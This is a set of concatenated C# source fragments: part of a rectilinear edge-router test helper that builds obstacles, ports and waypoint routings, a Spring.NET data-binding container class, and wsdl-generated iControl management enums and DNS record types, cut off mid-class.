sourceObstacleIndex; if (RouteFromSourceToAllFreePorts && (-1 != DefaultSourceOrdinal)) { // Overridden by TestRectilinear sourceOrdinal = DefaultSourceOrdinal; } // Route from one or all obstacles to all freePorts - not a real-world test, probably, // but a good stressor. var newEdgeGeoms = new List<EdgeGeometry>(); for (var idxScan = 0; idxScan < obstacles.Count; ++idxScan) { if ((idxScan != sourceOrdinal) && (sourceOrdinal >= 0)) { continue; } var shape = obstacles[idxScan]; var newPort = this.MakeAbsoluteObstaclePort(shape, shape.BoundingBox.Center); newEdgeGeoms.AddRange(freePorts.Select(freePort => CreateRouting(newPort, freePort))); if (idxScan == sourceOrdinal) { break; } } // endfor each obstacle return newEdgeGeoms; } private bool IsDefaultRoutingState { get { return (-1 == DefaultSourceOrdinal) && (-1 == DefaultTargetOrdinal) && (0 == this.SourceOrdinals.Count) && (0 == this.TargetOrdinals.Count); } } internal IEnumerable<EdgeGeometry> CreateRoutingBetweenFirstTwoObstacles(List<Shape> obstacles) { if (!IsDefaultRoutingState || NoPorts) { return null; } var edgeGeoms = new List<EdgeGeometry>(); var port0 = this.MakeSingleRelativeObstaclePort(obstacles[0], new Point(0, 0)); var port1 = this.MakeSingleRelativeObstaclePort(obstacles[1], new Point(0, 0)); edgeGeoms.Add(this.CreateRouting(port0, port1)); return edgeGeoms; } internal IEnumerable<EdgeGeometry> CreateRoutingBetweenObstacles(List<Shape> obstacles, int sourceIndex, int targetIndex) { if (!IsDefaultRoutingState || NoPorts) { return null; } foreach (var shape in obstacles.Where(shape => 0 == shape.Ports.Count)) { shape.Ports.Insert(this.MakeSingleRelativeObstaclePort(shape, new Point(0, 0))); } var sourceShape = obstacles[sourceIndex]; return obstacles.Where((t, ii) => (ii != sourceIndex) && ((targetIndex < 0) || (targetIndex == ii))) .Select(targetShape => this.CreateRouting(sourceShape.Ports.First(), targetShape.Ports.First())).ToList(); } internal RectilinearEdgeRouterWrapper DoRouting(RectFileReader reader) { return DoRouting(reader.UnpaddedObstacles, reader.RoutingSpecs); } internal void DoRouting(IEnumerable<Shape> obstacleEnum) { // This is just from tests in this file that do VG generation only. DoRouting(obstacleEnum, null /*routings*/); } internal RectilinearEdgeRouterWrapper DoRouting( IEnumerable<Shape> obstacleEnum, IEnumerable<EdgeGeometry> routingEnum) { return DoRouting(obstacleEnum, routingEnum, /*freePorts:*/ null); } internal RectilinearEdgeRouterWrapper DoRouting( IEnumerable<Shape> obstacleEnum, IEnumerable<EdgeGeometry> routingEnum, IEnumerable<FloatingPort> freePorts) { return DoRouting(obstacleEnum, routingEnum, freePorts, null); } internal virtual RectilinearEdgeRouterWrapper DoRouting( IEnumerable<Shape> obstacleEnum, IEnumerable<EdgeGeometry> routingEnum, IEnumerable<FloatingPort> freePorts, IEnumerable<Point> waypoints) { // C# doesn't support bypassing override aka VB's MyClass or C++ MyClass:: // and there is at least one place that needs to do this. return BasicDoRouting(obstacleEnum, routingEnum, freePorts, waypoints); } internal RectilinearEdgeRouterWrapper BasicDoRouting( IEnumerable<Shape> obstacleEnum, IEnumerable<EdgeGeometry> routingEnum, IEnumerable<FloatingPort> freePorts, IEnumerable<Point> waypoints) { if ((null != freePorts) && (null != waypoints)) { throw new ApplicationException("Can't specify default creation of both freePorts and waypoints"); } var obstacles = new List<Shape>(obstacleEnum); ShowShapes(obstacles); var router = GetRouter(obstacles); // Add routing specifications. bool wantRouting = this.DefaultWantPorts && !NoPorts; if ((null == routingEnum) && (null != freePorts) && !NoPorts) { routingEnum = CreateSourceToFreePortRoutings(router, obstacles, freePorts); } if ((null != routingEnum) && !NoPorts) { // Specifically set by test. wantRouting = true; foreach (var edgeGeom in routingEnum) { router.AddEdgeGeometryToRoute(edgeGeom); } } else if (wantRouting) { // Route between all sources and all targets. If they specified both // -sources and -ports -1, -sources wins. // Because we may have a random density, and filling for -1 is local to this block and // the loaded values are not used elsewhere, don't load them - otherwise we could either // have out of range values on the next test rep, or not fill all values in for it. if (this.DefaultSourceOrdinal != -1) { FinalizeObstacleOrdinals(this.SourceOrdinals, this.DefaultSourceOrdinal, obstacles.Count); } var sourceEnum = (this.SourceOrdinals.Count > 0) ? this.SourceOrdinals.Select(ord => obstacles[ord]) : obstacles; if (this.DefaultTargetOrdinal != -1) { FinalizeObstacleOrdinals(this.TargetOrdinals, this.DefaultTargetOrdinal, obstacles.Count); } var targetEnum = (this.TargetOrdinals.Count > 0) ? this.TargetOrdinals.Select(ord => obstacles[ord]) : obstacles; // Because of freeOports, we can't just use the shape.Ports collection. var ports = new Dictionary<Shape, Port>(); foreach (var source in sourceEnum) { var sourceLocal = source; foreach (var target in targetEnum.Where(target => sourceLocal != target)) { this.AddRoutingPorts(router, this.GetPort(router, ports, source), this.GetPort(router, ports, target), waypoints); } } } // endifelse all the create-port combinations. if (wantRouting) { // This calculates the VG, then for each EdgeGeometry it adds the ControlPoints // to the VG, routes the path, and removes the ControlPoints. router.Run(); } else { // Just generate the graph. router.GenerateVisibilityGraph(); } if (this.WriteRouterResultFile != null) { this.WriteRouterResultFile(router); } return router; } internal virtual RectilinearEdgeRouterWrapper GetRouter(List<Shape> obstacles) { return CreateRouter(obstacles); } private static void AddObstacleOrdinal(List<int> ordinals, int ordinal) { if (!ordinals.Contains(ordinal)) { ordinals.Add(ordinal); } } private static void FinalizeObstacleOrdinals(List<int> ordinals, int idxObstacle, int obstacleCount) { if (idxObstacle >= 0) { AddObstacleOrdinal(ordinals, idxObstacle); return; } // idxObstacle is -1: if we don't have a more limited specification, include them all. if (0 == ordinals.Count) { for (int ii = 0; ii < obstacleCount; ++ii) { ordinals.Add(ii); } } } internal Port GetPort(RectilinearEdgeRouter router, IDictionary<Shape, Port> ports, Shape shape) { // Because of freeOports, we can't just use the shape.Ports collection. Port port; if (!ports.TryGetValue(shape, out port)) { port = MakeAbsoluteObstaclePort(router, shape, shape.BoundingBox.Center); ports[shape] = port; } return port; } internal Port GetRelativePort(Shape shape) { if (0 == shape.Ports.Count) { shape.Ports.Insert(this.MakeSingleRelativeObstaclePort(shape, new Point(0, 0))); } return shape.Ports.First(); } #region Overridden by TestRectilinear. internal virtual void ShowGraph(RectilinearEdgeRouterWrapper router) { } internal virtual void ShowIncrementalGraph(RectilinearEdgeRouterWrapper router) { } internal virtual void ShowShapes(IEnumerable<Shape> obstacles) { } #endregion // Overridden by TestRectilinear. #region Port_Creation protected EdgeGeometry AddRoutingPorts(RectilinearEdgeRouter router, Port sourcePort, Port targetPort, IEnumerable<Point> waypoints = null) { Validate.IsNotNull(router, "Router should not be null"); var eg = CreateRouting(sourcePort, targetPort); eg.Waypoints = waypoints; router.AddEdgeGeometryToRoute(eg); return eg; } protected EdgeGeometry AddRoutingPorts(RectilinearEdgeRouter router, IList<Shape> obstacles, int source, int target, IEnumerable<Point> waypoints = null) { Validate.IsNotNull(router, "Router should not be null"); Validate.IsNotNull(obstacles, "Obstacles should not be null"); var eg = CreateRouting(obstacles[source].Ports.First(), obstacles[target].Ports.First()); eg.Waypoints = waypoints; router.AddEdgeGeometryToRoute(eg); return eg; } protected EdgeGeometry CreateRouting(Port sourcePort, Port targetPort) { // We currently don't draw arrowheads. return new EdgeGeometry(sourcePort, targetPort) { LineWidth = 1 }; } protected FloatingPort MakeAbsoluteObstaclePort(Shape obstacle, Point location) { Validate.IsNotNull(obstacle, "Obstacle should not be null"); // For absolute obstacle ports, we don't associate a shape if we are using freeports. // This gives test coverage of the case of a freeport/waypoint covered by an unrelated obstacle. if (this.UseFreePortsForObstaclePorts) { return new FloatingPort(null, location); } var port = new FloatingPort(obstacle.BoundaryCurve, location); obstacle.Ports.Insert(port); return port; } protected FloatingPort MakeAbsoluteObstaclePort(RectilinearEdgeRouter router, Shape obstacle, Point location) { Validate.IsNotNull(router, "Router should not be null"); var port = MakeAbsoluteObstaclePort(obstacle, location); router.UpdateObstacle(obstacle); // Port changes are now auto-detected return port; } protected FloatingPort MakeSingleRelativeObstaclePort(Shape obstacle, Point offset) { var port = new RelativeFloatingPort(() => obstacle.BoundaryCurve, () => obstacle.BoundingBox.Center, offset); RecordRelativePortAndObstacle(obstacle, port); return port; } private void RecordRelativePortAndObstacle(Shape obstacle, RelativeFloatingPort port) { // For relative obstacle ports, associate the shape and pass this association through // the file writer/reader. if (!this.UseFreePortsForObstaclePorts) { obstacle.Ports.Insert(port); } else { this.FreeRelativePortToShapeMap[port] = obstacle; } } #if UNUSED protected FloatingPort MakeSingleRelativeObstaclePort(RectilinearEdgeRouter router, Shape obstacle, Point offset) { var port = MakeSingleRelativeObstaclePort(obstacle, offset); router.UpdateObstacle(obstacle); // Port changes are now auto-detected return port; } #endif // UNUSED [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", Justification = "Known bug in CA/FxCop won't recognize 'multi' in CustomDictionary.")] protected FloatingPort MakeMultiRelativeObstaclePort(Shape obstacle, IList<Point> offsets) { var port = new MultiLocationFloatingPort(() => obstacle.BoundaryCurve, () => obstacle.BoundingBox.Center, new List<Point>(offsets)); RecordRelativePortAndObstacle(obstacle, port); return port; } #if UNUSED protected FloatingPort MakeMultiRelativeObstaclePort(RectilinearEdgeRouter router, Shape obstacle, List<Point> offsets) { var port = MakeMultiRelativeObstaclePort(obstacle, offsets); router.UpdateObstacle(obstacle); // Port changes are now auto-detected return port; } #endif // UNUSED protected static FloatingPort MakeAbsoluteFreePort(Point location) { return new FloatingPort(null /*curve*/, location); } #endregion // Port_Creation #region Common_Test_Funcs // Functions that populate and verify a router, shared between File and non-File tests. // ReSharper disable InconsistentNaming internal RectilinearEdgeRouterWrapper GroupTest_Simple_Worker(bool wantGroup) { var obstacles = new List<Shape>(); // Add initial singles first, slightly off-center to see separate port visibility. Shape s1, s2 = null, s3; obstacles.Add(s1 = PolylineFromRectanglePoints(new Point(10, 12), new Point(20, 22))); s1.UserData = "s1"; if (wantGroup) { obstacles.Add(s2 = PolylineFromRectanglePoints(new Point(40, 5), new Point(50, 25))); s2.UserData = "s2"; } obstacles.Add(s3 = PolylineFromRectanglePoints(new Point(70, 8), new Point(80, 18))); s3.UserData = "s3"; var ps1 = MakeSingleRelativeObstaclePort(s1, new Point()); Port ps2 = null; if (wantGroup) { ps2 = MakeSingleRelativeObstaclePort(s2, new Point()); } var ps3 = MakeSingleRelativeObstaclePort(s3, new Point()); var routings = new List<EdgeGeometry> { CreateRouting(ps1, ps3) }; if (wantGroup) { routings.Add(CreateRouting(ps1, ps2)); routings.Add(CreateRouting(ps2, ps3)); } Shape g1; obstacles.Add(g1 = PolylineFromRectanglePoints(new Point(30, -15), new Point(60, 45))); g1.UserData = "g1"; if (wantGroup) { g1.AddChild(s2); } return DoRouting(obstacles, routings, null /*freePorts*/); } // ReSharper disable InconsistentNaming internal RectilinearEdgeRouterWrapper Run_PortEntry_ERSource_ERTarget() // ReSharper restore InconsistentNaming { List<Shape> obstacles = this.CreateTwoTestSquaresWithSentinels(); var a = obstacles[0]; var b = obstacles[1]; // Put a bunch of PortEntry span with a midpoint collinear with the center on each side of the source and target. var sourcePorts = this.CreateERPorts(a); var targetPorts = this.CreateERPorts(b); var routings = (from sourcePort in sourcePorts from targetPort in targetPorts select this.CreateRouting(sourcePort, targetPort)).ToList(); return DoRouting(obstacles, routings, null /*freePorts*/); } // ReSharper disable InconsistentNaming internal RectilinearEdgeRouterWrapper Run_PortEntry_ERSource_FullSideTarget() // ReSharper restore InconsistentNaming { List<Shape> obstacles = this.CreateTwoTestSquaresWithSentinels(); var a = obstacles[0]; var b = obstacles[1]; // Put a bunch of PortEntry span with a midpoint collinear with the center on each side of the source. var sourcePorts = this.CreateERPorts(a); // Put a normal Relative port in the target. var targetPort = this.MakeSingleRelativeObstaclePort(b, new Point()); var routings = sourcePorts.Select(sourcePort => this.CreateRouting(sourcePort, targetPort)).ToList(); return DoRouting(obstacles, routings, null /*freePorts*/); } // Create multiple ports to simulate an E-R diagram; each "row" has its own port with a PortEntry with // spans on each side. internal IEnumerable<Port> CreateERPorts(Shape obstacle) { var bbox = obstacle.BoundingBox; var height = bbox.Height; const int RowCount = 10; var rowHeight = height / RowCount; var portCenter = new Point(bbox.Center.X, bbox.Bottom + (rowHeight / 2)); const double ParamStep = 1.0 / RowCount; const double HalfSpanHeight = ParamStep / 10; // Side parameter indexes plus initial center of param span; rectangles are clockwise. var parLeftStart = obstacle.BoundaryCurve.ClosestParameter(obstacle.BoundingBox.LeftBottom); var leftSpanCenter = parLeftStart + (ParamStep / 2); var rightSpanCenter = ((parLeftStart + 2.0) % obstacle.BoundaryCurve.ParEnd) + (ParamStep / 2); var ports = new List<Port>(); for (int ii = 0; ii < RowCount; ++ii) { var port = MakeSingleRelativeObstaclePort(obstacle, bbox.Center - portCenter); ports.Add(port); portCenter.Y += rowHeight; var spans = new List<Tuple<double, double>> { new Tuple<double, double>(leftSpanCenter - HalfSpanHeight, leftSpanCenter + HalfSpanHeight), new Tuple<double, double>(rightSpanCenter - HalfSpanHeight, rightSpanCenter + HalfSpanHeight) }; port.PortEntry = new PortEntryOnCurve(port.Curve, spans); leftSpanCenter += ParamStep; rightSpanCenter += ParamStep; } return ports; } internal RectilinearEdgeRouterWrapper RunSimpleWaypoints(int numPoints, bool multiplePaths, bool wantTopRect) { var obstacles = CreateTwoTestSquares(); Validate.IsTrue(wantTopRect || !multiplePaths, "Must have topRect for multiplePaths"); if (wantTopRect) { // Add a rectangle on top, to give us some space inbounds to work with obstacles.Add(PolylineFromRectanglePoints(new Point(0, 150), new Point(320, 155))); } var a = obstacles[0]; // left square var b = obstacles[1]; // right square Shape c = (obstacles.Count > 2) ? obstacles[2] : null; // top rectangle var abox = a.BoundingBox; var bbox = b.BoundingBox; var cbox = (c != null) ? c.BoundingBox : Rectangle.CreateAnEmptyBox(); var portA = MakeAbsoluteObstaclePort(a, abox.Center); var portB = MakeAbsoluteObstaclePort(b, bbox.Center); var portC = multiplePaths ? MakeAbsoluteObstaclePort(c, cbox.Center) : null; var router = CreateRouter(obstacles); var connectAtoB = AddRoutingPorts(router, portA, portB); // Add the waypoints in a line above the obstacles switch (numPoints) { case 2: connectAtoB.Waypoints = new List<Point> { abox.RightTop + new Point(25, 15), // between obstacles, left and above bbox.LeftTop + new Point(-25, 15) // between obstacles, right and above }; break; case 3: connectAtoB.Waypoints = new List<Point> { abox.RightTop + new Point(25, -5), // between obstacles, left and above center but below top abox.RightBottom + new Point((bbox.Left - abox.Right) / 2, 5), // between obstacles, middle and below center but above bottom bbox.LeftTop + new Point(-25, -5) // between obstacles, right and above center but below top }; break; case 4: connectAtoB.Waypoints = new List<Point> { new Point(abox.Center.X, abox.Top + 15), // above left obstacle abox.RightTop + new Point(25, 15), // between obstacles, left and above bbox.LeftTop + new Point(-25, 15), // between obstacles, right and above new Point(bbox.Center.X, bbox.Top + 15) // above right obstacle }; break; case 11: connectAtoB.Waypoints = new List<Point> { abox.RightTop + new Point(10, -5), abox.RightBottom + new Point(20, 5), abox.RightTop + new Point(30, -5), abox.RightBottom + new Point(40, 5), abox.RightTop + new Point(50, -5), abox.RightBottom + new Point(60, 5), abox.RightTop + new Point(70, -5), abox.RightBottom + new Point(80, 5), abox.RightTop + new Point(90, -5), abox.RightBottom + new Point(100, 5), abox.RightTop + new Point(110, -5) }; break; default: Validate.Fail("unknown point count"); break; // StyleCop doesn't know Validate.Fail throws. } if (multiplePaths) { var connectCtoB = AddRoutingPorts(router, portC, portB); connectCtoB.Waypoints = new List<Point>(connectAtoB.Waypoints); } router.Run(); ShowGraph(router); if (this.WriteRouterResultFile != null) { this.WriteRouterResultFile(router); } return router; } // ReSharper restore InconsistentNaming #endregion // Common_Test_Funcs } }
using System.Collections.Generic; using Spring.Globalization; using Spring.Validation; namespace Spring.DataBinding { /// <summary> /// Base implementation of the <see cref="IBindingContainer"/>. /// </summary> /// <author>Aleksandar Seovic</author> public class BaseBindingContainer : IBindingContainer { #region Fields private IList<IBinding> bindings = new List<IBinding>(); #endregion #region Constructor(s) /// <summary> /// Creates a new instance of <see cref="BaseBindingContainer"/>. /// </summary> public BaseBindingContainer() { } #endregion #region Properties /// <summary> /// Gets a list of bindings for this container. /// </summary> /// <value> /// A list of bindings for this container. /// </value> protected IList<IBinding> Bindings { get { return bindings; } } #endregion #region IBindingContainer Implementation /// <summary> /// Gets a value indicating whether this instance has bindings. /// </summary> /// <value> /// <c>true</c> if this instance has bindings; otherwise, <c>false</c>. /// </value> public bool HasBindings { get { return bindings.Count > 0; } } /// <summary> /// Adds the binding. /// </summary> /// <param name="binding"> /// Binding definition to add. /// </param> /// <returns> /// Added <see cref="IBinding"/> instance. /// </returns> public IBinding AddBinding(IBinding binding) { bindings.Add(binding); return binding; } /// <summary> /// Adds the <see cref="SimpleExpressionBinding"/> binding with a default /// binding direction of <see cref="BindingDirection.Bidirectional"/>. /// </summary> /// <param name="sourceExpression"> /// The source expression. /// </param> /// <param name="targetExpression"> /// The target expression. /// </param> /// <returns> /// Added <see cref="SimpleExpressionBinding"/> instance. /// </returns> public IBinding AddBinding(string sourceExpression, string targetExpression) { return AddBinding(sourceExpression, targetExpression, BindingDirection.Bidirectional, null); } /// <summary> /// Adds the <see cref="SimpleExpressionBinding"/> binding. /// </summary> /// <param name="sourceExpression"> /// The source expression. /// </param> /// <param name="targetExpression"> /// The target expression. /// </param> /// <param name="direction"> /// Binding direction. /// </param> /// <returns> /// Added <see cref="SimpleExpressionBinding"/> instance. /// </returns> public IBinding AddBinding(string sourceExpression, string targetExpression, BindingDirection direction) { return AddBinding(sourceExpression, targetExpression, direction, null); } /// <summary> /// Adds the <see cref="SimpleExpressionBinding"/> binding with a default /// binding direction of <see cref="BindingDirection.Bidirectional"/>. /// </summary> /// <param name="sourceExpression"> /// The source expression. /// </param> /// <param name="targetExpression"> /// The target expression. /// </param> /// <param name="formatter"> /// <see cref="IFormatter"/> to use for value formatting and parsing. /// </param> /// <returns> /// Added <see cref="SimpleExpressionBinding"/> instance. /// </returns> public IBinding AddBinding(string sourceExpression, string targetExpression, IFormatter formatter) { return AddBinding(sourceExpression, targetExpression, BindingDirection.Bidirectional, formatter); } /// <summary> /// Adds the <see cref="SimpleExpressionBinding"/> binding. /// </summary> /// <param name="sourceExpression"> /// The source expression. /// </param> /// <param name="targetExpression"> /// The target expression. /// </param> /// <param name="direction"> /// Binding direction. /// </param> /// <param name="formatter"> /// <see cref="IFormatter"/> to use for value formatting and parsing. /// </param> /// <returns> /// Added <see cref="SimpleExpressionBinding"/> instance. /// </returns> public virtual IBinding AddBinding(string sourceExpression, string targetExpression, BindingDirection direction, IFormatter formatter) { SimpleExpressionBinding binding = new SimpleExpressionBinding(sourceExpression, targetExpression); binding.Direction = direction; binding.Formatter = formatter; bindings.Add(binding); return binding; } #endregion #region IBinding Implementation /// <summary> /// Binds source object to target object. /// </summary> /// <param name="source"> /// The source object. /// </param> /// <param name="target"> /// The target object. /// </param> /// <param name="validationErrors"> /// Validation errors collection that type conversion errors should be added to. /// </param> public virtual void BindSourceToTarget(object source, object target, IValidationErrors validationErrors) { BindSourceToTarget(source, target, validationErrors, null); } /// <summary> /// Binds source object to target object. /// </summary> /// <param name="source"> /// The source object. /// </param> /// <param name="target"> /// The target object. /// </param> /// <param name="validationErrors"> /// Validation errors collection that type conversion errors should be added to. /// </param> /// <param name="variables"> /// Variables that should be used during expression evaluation. /// </param> public virtual void BindSourceToTarget(object source, object target, IValidationErrors validationErrors, IDictionary<string, object> variables) { foreach (IBinding binding in bindings) { binding.BindSourceToTarget(source, target, validationErrors, variables); } } /// <summary> /// Binds target object to source object. /// </summary> /// <param name="source"> /// The source object. /// </param> /// <param name="target"> /// The target object. /// </param> /// <param name="validationErrors"> /// Validation errors collection that type conversion errors should be added to. /// </param> public virtual void BindTargetToSource(object source, object target, IValidationErrors validationErrors) { BindTargetToSource(source, target, validationErrors, null); } /// <summary> /// Binds target object to source object. /// </summary> /// <param name="source"> /// The source object. /// </param> /// <param name="target"> /// The target object. /// </param> /// <param name="validationErrors"> /// Validation errors collection that type conversion errors should be added to. /// </param> /// <param name="variables"> /// Variables that should be used during expression evaluation. /// </param> public virtual void BindTargetToSource(object source, object target, IValidationErrors validationErrors, IDictionary<string, object> variables) { foreach (IBinding binding in bindings) { binding.BindTargetToSource(source, target, validationErrors, variables); } } /// <summary> /// Implemented as a NOOP for containers. /// of a non-fatal binding error. /// </summary> /// <param name="messageId"> /// Resource ID of the error message. /// </param> /// <param name="errorProviders"> /// List of error providers message should be added to. /// </param> public virtual void SetErrorMessage(string messageId, params string[] errorProviders) { } #endregion } }
using System; using System.Collections.Generic; using System.Text; namespace iControl { //======================================================================= // Enums //======================================================================= /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.DebugLevel", Namespace = "urn:iControl")] public enum ManagementDebugLevel { ZRD_EMERG, ZRD_ALERT, ZRD_CRIT, ZRD_ERROR, ZRD_WARN, ZRD_NOTICE, ZRD_INFO, ZRD_DEBUG, ZRD_UNSET, } /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.LDAPPasswordEncodingOption", Namespace = "urn:iControl")] public enum ManagementLDAPPasswordEncodingOption { LDAP_PASSWORD_ENCODING_ACTIVE_DIRECTORY, LDAP_PASSWORD_ENCODING_CLEAR, LDAP_PASSWORD_ENCODING_CRYPT, LDAP_PASSWORD_ENCODING_EXTENDED_OPERATION, LDAP_PASSWORD_ENCODING_MD5, LDAP_PASSWORD_ENCODING_NDS, } /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.LDAPSSLOption", Namespace = "urn:iControl")] public enum ManagementLDAPSSLOption { LDAP_SSL_OPTION_NONE, LDAP_SSL_OPTION_ON, LDAP_SSL_OPTION_UNKNOWN, } /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.LDAPSSOOption", Namespace = "urn:iControl")] public enum ManagementLDAPSSOOption { LDAP_SSO_OPTION_UNKNOWN, LDAP_SSO_OPTION_OFF, LDAP_SSO_OPTION_ON, } /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.LDAPSearchMethod", Namespace = "urn:iControl")] public enum ManagementLDAPSearchMethod { LDAP_SEARCH_METHOD_USER, LDAP_SEARCH_METHOD_CERTIFICATE, LDAP_SEARCH_METHOD_CERTIFICATE_MAP, } /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.LDAPSearchScope", Namespace = "urn:iControl")] public enum ManagementLDAPSearchScope { LDAP_SEARCH_SCOPE_BASE, LDAP_SEARCH_SCOPE_ONE_LEVEL, LDAP_SEARCH_SCOPE_SUBTREE, LDAP_SEARCH_SCOPE_UNKNOWN, } /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.OCSPDigestMethod", Namespace = "urn:iControl")] public enum ManagementOCSPDigestMethod { OCSP_DIGEST_METHOD_SHA1, OCSP_DIGEST_METHOD_MD5, } /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.RadiusServiceType", Namespace = "urn:iControl")] public enum ManagementRadiusServiceType { AUTH_RADIUS_SERVICE_TYPE_UNKNOWN, AUTH_RADIUS_SERVICE_TYPE_DEFAULT, AUTH_RADIUS_SERVICE_TYPE_LOGIN, AUTH_RADIUS_SERVICE_TYPE_FRAMED, AUTH_RADIUS_SERVICE_TYPE_CALLBACK_LOGIN, AUTH_RADIUS_SERVICE_TYPE_CALLBACK_FRAMED, AUTH_RADIUS_SERVICE_TYPE_OUTBOUND, AUTH_RADIUS_SERVICE_TYPE_ADMINISTRATIVE, AUTH_RADIUS_SERVICE_TYPE_NAS_PROMPT, AUTH_RADIUS_SERVICE_TYPE_AUTHENTICATE_ONLY, AUTH_RADIUS_SERVICE_TYPE_CALLBACK_NAS_PROMPT, AUTH_RADIUS_SERVICE_TYPE_CALL_CHECK, AUTH_RADIUS_SERVICE_TYPE_CALLBACK_ADMINISTRATIVE, } /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.ZoneType", Namespace = "urn:iControl")] public enum ManagementZoneType { UNSET, MASTER, SLAVE, STUB, FORWARD, HINT, } //======================================================================= // Structs //======================================================================= /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Diagnostics.DebuggerStepThroughAttribute()] [System.ComponentModel.DesignerCategoryAttribute("code")] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.A6Record", Namespace = "urn:iControl")] public partial class ManagementA6Record { private string domain_nameField; public string domain_name { get { return this.domain_nameField; } set { this.domain_nameField = value; } } private short prefix_bitsField; public short prefix_bits { get { return this.prefix_bitsField; } set { this.prefix_bitsField = value; } } private string ip_addressField; public string ip_address { get { return this.ip_addressField; } set { this.ip_addressField = value; } } private string prefix_nameField; public string prefix_name { get { return this.prefix_nameField; } set { this.prefix_nameField = value; } } private long ttlField; public long ttl { get { return this.ttlField; } set { this.ttlField = value; } } }; /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Diagnostics.DebuggerStepThroughAttribute()] [System.ComponentModel.DesignerCategoryAttribute("code")] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.AAAARecord", Namespace = "urn:iControl")] public partial class ManagementAAAARecord { private string domain_nameField; public string domain_name { get { return this.domain_nameField; } set { this.domain_nameField = value; } } private string ip_addressField; public string ip_address { get { return this.ip_addressField; } set { this.ip_addressField = value; } } private long ttlField; public long ttl { get { return this.ttlField; } set { this.ttlField = value; } } }; /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Diagnostics.DebuggerStepThroughAttribute()] [System.ComponentModel.DesignerCategoryAttribute("code")] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.ARecord", Namespace = "urn:iControl")] public partial class ManagementARecord { private string domain_nameField; public string domain_name { get { return this.domain_nameField; } set { this.domain_nameField = value; } } private string ip_addressField; public string ip_address { get { return this.ip_addressField; } set { this.ip_addressField = value; } } private long ttlField; public long ttl { get { return this.ttlField; } set { this.ttlField = value; } } }; /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Diagnostics.DebuggerStepThroughAttribute()] [System.ComponentModel.DesignerCategoryAttribute("code")] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.CNAMERecord", Namespace = "urn:iControl")] public partial class ManagementCNAMERecord { private string domain_nameField; public string domain_name { get { return this.domain_nameField; } set { this.domain_nameField = value; } } private string cnameField; public string cname { get { return this.cnameField; } set { this.cnameField = value; } } private long ttlField; public long ttl { get { return this.ttlField; } set { this.ttlField = value; } } }; /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Diagnostics.DebuggerStepThroughAttribute()] [System.ComponentModel.DesignerCategoryAttribute("code")] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.DNAMERecord", Namespace = "urn:iControl")] public partial class ManagementDNAMERecord { private string labelField; public string label { get { return this.labelField; } set { this.labelField = value; } } private string domain_nameField; public string domain_name { get { return this.domain_nameField; } set { this.domain_nameField = value; } } private long ttlField; public long ttl { get { return this.ttlField; } set { this.ttlField = value; } } }; /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Diagnostics.DebuggerStepThroughAttribute()] [System.ComponentModel.DesignerCategoryAttribute("code")] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.DSRecord", Namespace = "urn:iControl")] public partial class ManagementDSRecord { private string domain_nameField; public string domain_name { get { return this.domain_nameField; } set { this.domain_nameField = value; } } private short key_tagField; public short key_tag { get { return this.key_tagField; } set { this.key_tagField = value; } } private short algorithmField; public short algorithm { get { return this.algorithmField; } set { this.algorithmField = value; } } private short digest_typeField; public short digest_type { get { return this.digest_typeField; } set { this.digest_typeField = value; } } private string digestField; public string digest { get { return this.digestField; } set { this.digestField = value; } } private long ttlField; public long ttl { get { return this.ttlField; } set { this.ttlField = value; } } }; /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Diagnostics.DebuggerStepThroughAttribute()] [System.ComponentModel.DesignerCategoryAttribute("code")] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.HINFORecord", Namespace = "urn:iControl")] public partial class ManagementHINFORecord { private string domain_nameField; public string domain_name { get { return this.domain_nameField; } set { 